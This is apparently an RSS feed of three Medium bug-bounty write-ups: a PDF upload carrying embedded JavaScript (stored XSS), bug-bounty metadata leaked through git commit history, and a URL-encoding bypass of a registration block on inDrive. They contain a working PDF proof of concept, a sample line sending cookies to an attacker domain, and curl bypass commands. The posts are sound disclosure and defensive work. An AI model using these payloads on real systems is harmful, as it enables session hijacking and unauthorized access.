<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by wadaa on Medium]]></title>
        <description><![CDATA[Stories by wadaa on Medium]]></description>
        <link>https://medium.com/@wadaa?source=rss-6d7fb2fc9ff6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*vLIFWoxlDyiLKY_F</url>
            <title>Stories by wadaa on Medium</title>
            <link>https://medium.com/@wadaa?source=rss-6d7fb2fc9ff6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 02:14:31 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@wadaa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Trojan PDF Uploads Leads To Stored XSS]]></title>
            <link>https://wadaa.medium.com/trojan-pdf-uploads-leads-to-stored-xss-3bdb14fefbac?source=rss-6d7fb2fc9ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bdb14fefbac</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[xs]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[wadaa]]></dc:creator>
            <pubDate>Thu, 03 Dec 2026 12:42:32 GMT</pubDate>
            <atom:updated>2026-12-03T12:42:32.362Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eqmJ7sC1mqRwdZlFBg8agA.png" /></figure><p><em>When the file upload accepts a PDF, but the PDF accepts arbitrary JavaScript execution. It’s not just a document; it’s an execution vector.</em></p><blockquote><strong><em>Disclaimer:</em></strong><em> </em>Based on a real-world vulnerability pattern. All target details and paths have been anonymized or generalized.</blockquote><p>File upload functionality is a common feature in regulatory and financial platforms. Users submit identification, prospectuses, and compliance forms. A naive security implementation might validate the file extension (e.g., .pdf) and the MIME type, thinking the job is done.</p><p>The job is not done. In the world of PDF forensics, the document format is an application unto itself, capable of embedding executable directives, automatic actions, and — most dangerously — <strong>JavaScript</strong>.</p><p>Here is a deep dive into how an unrestricted PDF upload, combined with inadequate content validation, can turn a harmless-looking document into a <strong>Stored XSS (Cross-Site Scripting)</strong> vector.</p><h3>The Vulnerability: Trusting the Wrapper, Not the Content</h3><p>_____________________________________</p><p>The core issue is a failure in <strong>Content-Based Validation</strong>. The application checks the file’s wrapper (the PDF format) but ignores the instructions contained within the document’s object structure.</p><p>PDFs support interactive features. Specifications like ISO 32000 allow for JavaScript actions (/JS) to be triggered by document events, such as opening the file (/OpenAction) or even just hovering over a field.</p><p>If an upload filter does not explicitly strip or reject documents containing these directives, an attacker can craft a “Trojan PDF.”</p><h3>The Attack Vector</h3><ol><li><strong>Preparation:</strong> An authenticated user prepares a specially crafted PDF file embedding malicious JavaScript.</li><li><strong>Upload:</strong> The user uploads this file through a legitimate form (e.g., [https://target.com/upload-documents](https://target.com/upload-documents)).</li><li><strong>Storage:</strong> The server saves the malicious PDF without sanitizing its internal content.</li><li><strong>Execution (The XSS Payload):</strong> An authorized user — such as an administrator, compliance officer, or auditor — downloads and opens the seemingly innocent PDF file using a PDF reader that supports JavaScript execution (like Adobe Acrobat Reader). The embedded script executes immediately in the viewer’s security context.</li></ol><h3>Technical Proof of Concept (PoC)</h3><p>_____________________________________</p><p>Creating a malicious PDF doesn’t require complex tools; you can build one using the raw object structure of the PDF format.</p><p>Here is the PoC payload structure used in the report to demonstrate Stored XSS risk. This PDF is designed to execute an app.alert() function upon opening, proving that JavaScript execution is possible.</p><p>Code snippet</p><pre>%PDF-1.5</pre><pre>% 1 0 obj: The Catalog object, which defines the document structure.<br>% It specifies that the document should open with an action (OpenAction).<br>1 0 obj<br>&lt;&lt; /Type /Catalog /Pages 2 0 R /OpenAction 3 0 R &gt;&gt;<br>endobj</pre><pre>% 2 0 obj: The Pages object, defining the document&#39;s page tree.<br>2 0 obj<br>&lt;&lt; /Type /Pages /Kids [4 0 R] /Count 1 &gt;&gt;<br>endobj</pre><pre>% 3 0 obj: The Action object. This is the payload.<br>% /S /JavaScript tells the reader to interpret this as a JavaScript action.<br>% /JS (code...) contains the actual JavaScript to execute.<br>3 0 obj<br>&lt;&lt; /Type /Action /S /JavaScript /JS (app.alert(&quot;XSS Payload Executed - User Context Compromised&quot;)) &gt;&gt;<br>endobj</pre><pre>% 4 0 obj: The Page object, defining the content and dimensions of the page.<br>4 0 obj<br>&lt;&lt; /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] &gt;&gt;<br>endobj</pre><pre>% trailer: Points to the root object (Catalog).<br>trailer<br>&lt;&lt; /Root 1 0 R &gt;&gt;<br>%%EOF</pre><h3>Impact: Why PDF XSS is Critical</h3><p>_____________________________________</p><p>The impact of a Stored XSS executed via a PDF upload on a high-value platform (like a regulatory exchange) goes far beyond a simple alert box.</p><ul><li><strong>Session Hijacking &amp; Administrative Takeover:</strong> The JavaScript payload can access the viewer’s document.cookie. By exfiltrating these session tokens to an attacker-controlled server, an attacker can impersonate the administrator or compliance officer and gain unauthorized access to sensitive regulatory systems with high privileges.</li><li><em>Example Payload:</em></li><li>JavaScript</li><li>var cookies = document.cookie; fetch(&#39;https://attacker-domain.com/steal?data=&#39; + cookies);</li><li><strong>Credential Theft:</strong> The PDF can present a fake login form or modal dialog asking the user to re-authenticate. The captured credentials are sent to the attacker.</li><li><strong>Malware Distribution:</strong> Payloads can be designed to download and execute additional malicious binaries on the victim’s endpoint, facilitating lateral movement within the organizational network.</li><li><strong>Unauthorized Actions (CSRF within context):</strong> If the XSS executes in the context of a logged-in user, the script can perform API calls on their behalf without their knowledge. This could include approving/rejecting applications, modifying regulatory documents, or creating unauthorized user accounts with elevated privileges.</li><li><strong>Data Exfiltration:</strong> Beyond session cookies, the script can read and exfiltrate any information accessible in the Document Object Model (DOM) of the page where the PDF <em>metadata</em> or <em>details</em> might be rendered (e.g., sensitive PII, submission details, competitor intelligence).</li><li>How to Fix It Properly</li></ul><p>Securing PDF uploads requires a multi-layered defense approach. Do not rely on a single check.</p><ul><li><strong>Server-Side Validation &amp; Content Sanitization (Crucial):</strong> Do not rely on MIME types or file extensions. You must inspect the contents of the PDF file.</li><li>Use a reputable PDF parsing library to analyze the document structure (e.g., pikepdf in Python, qpdf in command line).</li><li>Explicitly check for and strip or reject PDFs that contain prohibited object types such as /JavaScript, /OpenAction, /AA (Additional Actions), /JS, or GoToE (Go To Embedded).</li><li><strong>Treat Uploads as Untrusted Content:</strong> If the PDF is stored and served back to users, ensure it is served with a Content-Disposition: attachment header. This forces the browser to download the file rather than rendering it in the browser context, preventing the embedded script from executing in the web application&#39;s origin.</li><li><strong>Use a Dedicated Content Security Policy (CSP):</strong> If you must allow PDFs to be viewed in the browser, implement a strong CSP on the domain where files are served. Restrict the execution of scripts and the loading of external resources.</li><li><strong>Malware Scanning:</strong> Integrate a modern antivirus or sandbox solution to scan all uploaded files for known malware signatures and suspicious behavior before they are stored.</li></ul><p><strong>Key Takeaway<br></strong>_____________________________________</p><p>A PDF is not just a static document; it’s a container that can execute code. When building upload functionality for high-value documents, always validate the <em>content</em> of the PDF, not just its extension or MIME type, and treat all uploaded files as potentially hostile.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bdb14fefbac" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[R.I.P Commit History: How Deleted  Data Stayed Alive in a Public GitHub Repo]]></title>
            <link>https://wadaa.medium.com/r-i-p-commit-history-how-deleted-data-stayed-alive-in-a-public-github-repo-51a62c882a7e?source=rss-6d7fb2fc9ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/51a62c882a7e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[osint]]></category>
            <category><![CDATA[reconnaissance]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <dc:creator><![CDATA[wadaa]]></dc:creator>
            <pubDate>Thu, 03 Dec 2026 12:19:17 GMT</pubDate>
            <atom:updated>2026-12-03T12:19:17.928Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>R.I.P Commit History: How Deleted Bug Bounty Data Stayed Alive in a Public GitHub Repo</strong></h3><p><em>When the security team scrubs the latest file, but leaves the entire history sitting right in the commit log.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9jNB1VIXwRApogwNTVI_yQ.png" /></figure><blockquote><strong><em>Disclaimer:</em></strong><em> </em>This write-up is published for educational and defensive awareness following responsible vulnerability disclosure. Any organization names, repository paths, commit hashes, researcher usernames, private report titles, and internal endpoint details have been anonymized or omitted to protect privacy and adhere to disclosure guidelines.</blockquote><p>Every developer knows the classic rule of version control: deleting a secret in a new commit doesn’t delete it from Git. Yet even seasoned security teams occasionally fall into the exact same trap — cleaning up future automation output while leaving the original sensitive data preserved in the commit history.</p><p>During passive GitHub reconnaissance on <strong>target</strong>, I stumbled across a public repository (target-org/bug-bounty) that did just that—accidentally exposing private HackerOne report metadata, researcher profiles, and even the existence of a confidential private bug bounty program (target-private).</p><p>Here is how a routine look at git log turned into an eye-opening lesson on why <strong>scrubbing the </strong><strong>HEAD commit is never enough</strong>.</p><h3>Passive Recon: Finding the Automation Repo</h3><p>While mapping publicly accessible GitHub repositories tied to <strong>target</strong>, one repository stood out:</p><ul><li><strong>Repository:</strong> [https://github.com/target-org/bug-bounty](https://github.com/target-org/bug-bounty)</li></ul><p>Looking through the codebase, it appeared to be an internal automation utility built to track and synchronize HackerOne report data (likely pulling metadata via the HackerOne API).</p><p>At first glance, the current HEAD state of the repository looked clean. No API tokens, no obvious credentials, and no sensitive report titles staring back at you on the main branch.</p><p>So, naturally, I clicked on the <strong>Commits</strong> tab.</p><h3>Following the Breadcrumbs in Git History</h3><p>In GitHub recon, the most interesting commits are often the ones where someone tried to <em>remove</em> or <em>hide</em> something.</p><p>While inspecting the commit history, a specific remediation commit caught my eye (&lt;redacted-remediation-commit&gt;). The change modified the automation script so it would <strong>stop populating report titles and program names</strong> in future runs.</p><p>That raised an immediate question: <em>If they just stopped writing </em><em>title and </em><em>program_name going forward, what was already committed before this change?</em></p><h3>Viewing the Diff and Parent Commits</h3><ol><li>Opening the commit diff on GitHub immediately showed the removed lines in red — revealing the original, unredacted data schema that the automation script had been committing.</li><li>Checking out a prior commit (such as &lt;redacted-parent-commit&gt;) and browsing the historical data file exposed the full, unredacted dataset in plain sight.</li></ol><p>No authentication, no brute-forcing, and no non-public GitHub tricks were required — just standard public repository browsing.</p><h3>What Was Sitting in the History?</h3><p>The historical commits contained a structured record of HackerOne submissions across both <strong>target</strong>’s public program (target-public) and its private, invite-only program (target-private), including:</p><ul><li><strong>Private Program Existence &amp; Activity:</strong> Repeated references to target-private confirmed the existence and ongoing activity of an invite-only bug bounty program meant to remain confidential.</li><li><strong>Sensitive Report Titles &amp; Affected Assets:</strong> Several historical report titles explicitly named vulnerability classes alongside affected hosts, IPs, CVE identifiers, or specific vulnerable API paths (and even referenced underlying report IDs).</li><li><strong>Third-Party Researcher Metadata:</strong> HackerOne usernames and profile avatar URLs of the researchers who submitted those reports were tied directly to the exposed report titles without their consent.</li></ul><h3>The Illusion of Partial Remediation</h3><p>What made this finding particularly interesting from a defensive perspective was the <strong>evidence of awareness</strong> right in the commit history:</p><ul><li>The team clearly realized that syncing report titles and program names into a public repo was a bad idea.</li><li>They updated the script to strip those fields from future commits and eventually removed the data file from the active branch.</li><li><strong>However</strong>, because Git retains every historical snapshot by default, removing or altering a file in a later commit only hides it from the latest view — leaving the original payload permanently retrievable via git log or GitHub’s commit URLs.</li></ul><h3>How to Actually Purge Sensitive Data from Git</h3><p>When sensitive metadata or secrets land in a Git repository, editing the file in a new commit gives a false sense of security. Proper remediation requires rewriting history:</p><ol><li><strong>Rewrite and Purge Commit History:</strong> Use tools like git filter-repo or <strong>BFG Repo-Cleaner</strong> to completely remove the sensitive file and commits from every branch and tag—not just the latest commit.</li><li><strong>Force-Push (or Recreate the Repo):</strong> Force-push the cleaned history to the remote repository, or delete and recreate a clean public repository from scratch if cached commit views still retain references.</li><li><strong>Audit Related Repositories:</strong> Check other repositories under the same GitHub organization (target-org) for similar &quot;deleted in a later commit&quot; artifacts.</li><li><strong>Prevent Future Leaks at the Door:</strong> Add generated data paths to .gitignore and enforce pre-commit/CI secret scanning hooks (such as <strong>Gitleaks</strong> or <strong>TruffleHog</strong>).</li></ol><p><strong><em>Key Takeaway</em></strong></p><p>In Git, hitting “delete” doesn’t erase the past — it just adds another chapter to the history book. Whether you’re managing API keys or bug bounty metadata, always treat historical commits as public forever until history is genuinely rewritten.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51a62c882a7e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lost in Hex Translation: How One Encoded Letter Bypassed Registration Restrictions on inDrive]]></title>
            <link>https://wadaa.medium.com/lost-in-hex-translation-how-one-encoded-letter-bypassed-registration-restrictions-on-indrive-ba0e30037eb9?source=rss-6d7fb2fc9ff6------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba0e30037eb9</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bugs]]></category>
            <category><![CDATA[wordpress]]></category>
            <dc:creator><![CDATA[wadaa]]></dc:creator>
            <pubDate>Thu, 03 Dec 2026 10:50:04 GMT</pubDate>
            <atom:updated>2026-12-03T10:50:04.444Z</atom:updated>
            <content:encoded><![CDATA[<p><em>When the firewall blocks </em><em>action=register, and WordPress happily serves </em><em>action=%72egister.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-LLqTLP3WtCxeR8dElOtHA.png" /></figure><blockquote><strong><em>Disclaimer:</em></strong><em> </em>This write-up is shared for educational and defensive purposes following responsible vulnerability disclosure through inDrive’s bug bounty program on HackerOne.</blockquote><p>Picture this: you’re testing a WordPress-based platform where public self-registration is locked down tight. You try hitting the classic registration endpoint, and the server slams the door right in your face with a crisp 403 Forbidden.</p><p>Fair enough. Door locked. Time to move on, right?</p><p>Not quite. Sometimes the security rule is standing guard over the exact string register—while the application behind it speaks fluent URL hex encoding and reads %72egister as the exact same word.</p><p>Here is how a single hex-encoded character (%72) turned a 403 Forbidden into a 200 OK and allowed unauthorized account creation on domain.indrive.com.</p><h3>Recon &amp; The Locked Front Door</h3><p>While exploring domain.indrive.com—a platform built on WordPress—I checked whether standard WordPress user registration was exposed.</p><p>Sending a request to the default registration action returned a block as expected:</p><p>HTTP</p><pre>GET /wp-login.php?action=register HTTP/1.1<br>Host: domain.indrive.com</pre><p><strong>Response:</strong> 403 Forbidden</p><p>At first glance, public self-registration via wp-login.php looked properly restricted by a WAF rule, reverse proxy filter, or server-level access rule matching action=register.</p><h3>Testing the Normalization Gap (%72 Instead of r)</h3><p>Whenever a filter blocks a specific query parameter value like action=register, the immediate question is: <strong>Does the security check inspect the raw query string before URL decoding, while PHP/WordPress decodes it afterward?</strong></p><p>In ASCII hex encoding, the lowercase letter r is 0x72 (%72). So instead of sending register, I swapped just the first letter to %72egister:</p><p>HTTP</p><pre>GET /wp-login.php?action=%72egister HTTP/1.1<br>Host: domain.indrive.com</pre><p><strong>Response:</strong> 200 OK</p><p>Just like that, the 403 Forbidden vanished, and the full WordPress registration form loaded cleanly.</p><h3>Quick cURL Proof of Concept</h3><p>Bash</p><pre># 1. Blocked request (returns 403 Forbidden)<br>curl -i &quot;https://domain.indrive.com/wp-login.php?action=register&quot;</pre><pre># 2. Bypassed request (returns 200 OK with registration form)<br>curl -i &quot;https://domain.indrive.com/wp-login.php?action=%72egister&quot;</pre><h3>Completing the Flow: From Bypass to Dashboard Access</h3><p>Loading a form is one thing; actually registering an account is what proves real impact.</p><ul><li>I filled out the registration form with a <strong>Username</strong>, <strong>Email</strong>, and completed the <strong>reCAPTCHA</strong>.</li><li>During submission, I kept action=%72egister in the POST request so the server wouldn&#39;t reject the submission at the perimeter</li><li>WordPress processed the registration normally, created the user account, and sent out a confirmation email.</li><li>After verifying the email and logging in, I had full authenticated access to the user dashboard endpoints:</li><li>/dashboard/enrolled-courses/</li><li>/dashboard/settings/</li></ul><h3>Why This Matters (Impact)</h3><p>Even though this falls under <strong>Improper Authorization (CWE-285)</strong> with a Medium severity profile, the business and security implications were clear:</p><ul><li><strong>Unauthorized Account Creation:</strong> Anyone could self-register on a platform where direct registration through wp-login.php was intentionally disabled.</li><li><strong>Bypassing Onboarding Validation:</strong> Compared to the official /registration/ flow, the default WordPress registration handler bypassed extra onboarding checks—such as required phone numbers or birth dates.</li><li><strong>Spam &amp; Abuse Risk:</strong> Because domain.indrive.com supports programs, unauthenticated account creation opens the door to fake accounts and platform spam.</li></ul><h3>Root Cause &amp; How to Fix It</h3><p>This bug is a textbook example of a <strong>canonicalization mismatch</strong> between a perimeter rule and an application backend:</p><ul><li><strong>The perimeter/WAF rule</strong> checked the raw query string for the literal substring action=register.</li><li><strong>PHP / WordPress</strong> automatically URL-decoded $_GET[&#39;action&#39;] from %72egister into register before routing the request to the registration handler.</li></ul><h3>How to Properly Lock It Down</h3><ul><li><strong>Disable Registration at the Application Layer:</strong> In WordPress, never rely solely on a WAF or web server rule to block action=register. Disable <em>&quot;Anyone can register&quot;</em> (users_can_register = 0) directly in WordPress settings so wp-login.php rejects registration requests regardless of how parameters are encoded.</li><li><strong>Normalize Before Filtering:</strong> Any WAF or reverse-proxy rule inspecting query parameters should URL-decode and canonicalize inputs before matching patterns.</li><li><strong>Restrict </strong><strong>wp-login.php Actions Explicitly:</strong> Enforce an allowlist of permitted action values after decoding rather than blocking single literal strings.</li></ul><h3>Key Takeaway</h3><p>Blocking action=register at the door while leaving registration enabled inside WordPress is like locking the screen door and leaving the front door wide open. Always enforce authorization in the application itself—and remember that %72 is still an r once PHP reads it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba0e30037eb9" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>